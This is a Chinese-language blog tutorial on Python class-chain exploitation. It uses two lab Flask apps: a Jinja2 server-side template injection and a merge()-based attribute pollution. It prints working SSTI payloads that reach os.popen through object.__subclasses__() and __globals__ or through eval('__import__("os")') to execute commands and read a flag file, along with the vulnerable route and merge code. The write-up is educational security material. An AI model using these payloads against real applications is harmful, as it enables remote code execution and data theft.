前言
本篇博文主要内容是通过具体案例的分析,探讨 Python 中出现的原型链利用和污染所涉及的安全问题。
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
原型链的利用
现在有这么一个 Flask 程序,会把用户的输入渲染到对话框中,如下图所示:
我们的目的是通过这个输入框,获取到同级目录下的 flag.txt 文件的内容,目录结构如下所示:
├──app.py ├──flag ├──requirements.txt │ ├─static │ ├─templates
通过阅读后端代码可以发现,该程序使用了危险函数 render_template_string(),并且在该程序中,render_template_string() 直接渲染用户输入的数据作为模板,并且没有进行适当的转义或清洗,这就可能导致服务器端模板注入(Server-Side Template Injection,SSTI)攻击。
@app.route('/', methods=['GET', 'POST']) def vulnerable(): chat_log = [] if request.method == 'POST': user_input = request.form.get('user_input') try: result = render_template_string(user_input) except Exception as e: result = str(e) chat_log.append(('输入', user_input)) chat_log.append(('输出', result)) return render_template('index.html', chat_log=chat_log)
在 Flask 中,模板引擎默认是 Jinja2。Jinja2 模板引擎允许在模板中使用变量和表达式,如果这些变量和表达式来自不可信的源,就可能被恶意构造,导致执行非预期的代码。
一路跟进 render_template_string() 的源代码:
[jinja2/environment.py] from_string() -> [jinja2/environment.py] self.compile() -> [jinja2/environment.py] self._parse() -> [jinja2/parser.py] Parser().parse()
可以发现,render_template_string() 并没有对输入的参数进行转义,而是直接在 Jinja2 模板中进行使用。
这里输入的是 {{5*5}},目的是让 Jinja2 模板能够执行 5*5 的运算。
接下来,我们就利用这一特性,来进行实际操作。
需要注意的是,我们得想好用什么库来读取 flag.txt 文件,这里使用 os.popen 去读取 flag.txt 文件(当然还有其他方式,比如 FileLoader.get_data(),全凭个人喜好),因此我们现在要想办法导入 os 库。
我们可以从基类 object 下手,看一下它的子类集里是否有包含 os 相关的库,object.__subclasses__():
可以发现有两个相关联的库,<class 'os._wrap_close'> 和 <class 'os._AddedDllDirectory'>,这里我们就以 os._wrap_close 为例。
通过源码阅读发现,我们可以在 os._wrap_close 的 __init__ 方法中使用 global 来调用 popen() 方法,代码如下所示:
os._wrap_close.__init__.__globals__["popen"]
运行结果:
因此,最终代码如下所示:
classes = {}.__class__.__base__.__subclasses__() # object.__subclasses__() names = [cls.__name__ for cls in classes] print(names.index("_wrap_close")) # 134 classes[134].__init__.__globals__["popen"]("type flag").read()
运行结果:
当然还有其他方法,例如使用危险函数 eval()。
这里需要了解一个前置知识,通过 eval() 这个函数可以导入 Python 库,比如导入上文我们要使用的 os 库,代码如下所示:
eval('__import__("os")')
运行结果:
其他过程相似,主要就是整个原型链利用的过程,代码如下所示:
{}.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')
运行结果:
又或者使用 FileLoader.get_data() 方法来读取文件,代码如下所示:
{}.__class__.__base__.__subclasses__()[100].__dict__['get_data'](0, 'flag')
运行结果:
方法很多,剩下的请自行探索...
原型链的污染
现在有这么一个 Flask 程序,它是一个简易的博客网站,如下图所示:
我们的目的是通过 /get_flag 接口获取到 treasure,要实现这一目的,只需使得 flag 的值为 true 即可,代码如下所示:
而 flag 则是要从环境变量中获取,代码如下所示:
flag = os.getenv("flag")
按照正常的逻辑,我们是无法去修改环境变量里的值,因此,我们要另寻出路。
看到导入的方法里有 merge() 函数,点进去一看,果然是熟悉的味道,代码如下所示:
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
再看到使用 merge() 函数的地方,代码如下所示:
@app.route("/save_feedback", methods=["POST"]) @login_required def save_feedback(): data = json.loads(request.data) feedback = Feedback() # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object. merge(data, feedback) save_feedback_to_disk(feedback) return jsonify({"success": "true"}), 200 class Feedback: def __init__(self): self.title = "" self.content = "" self.rating = "" self.referred = ""
恰好符合我们利用的条件,可以通过 Feedback 来获取到全局变量,从而实现污染 flag = "true"。
先尝试随便创建一个 Feedback,如下图所示:
现在我们去 /get_flag 返回的是 Nope,如下图所示:
将刚刚创建 Feedback 的接口进行重放,同时污染 flag 变量,如下图所示:
现在再去访问 /get_flag 接口,成功拿到了我们想要的 treasure,如下图所示:
后记
在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。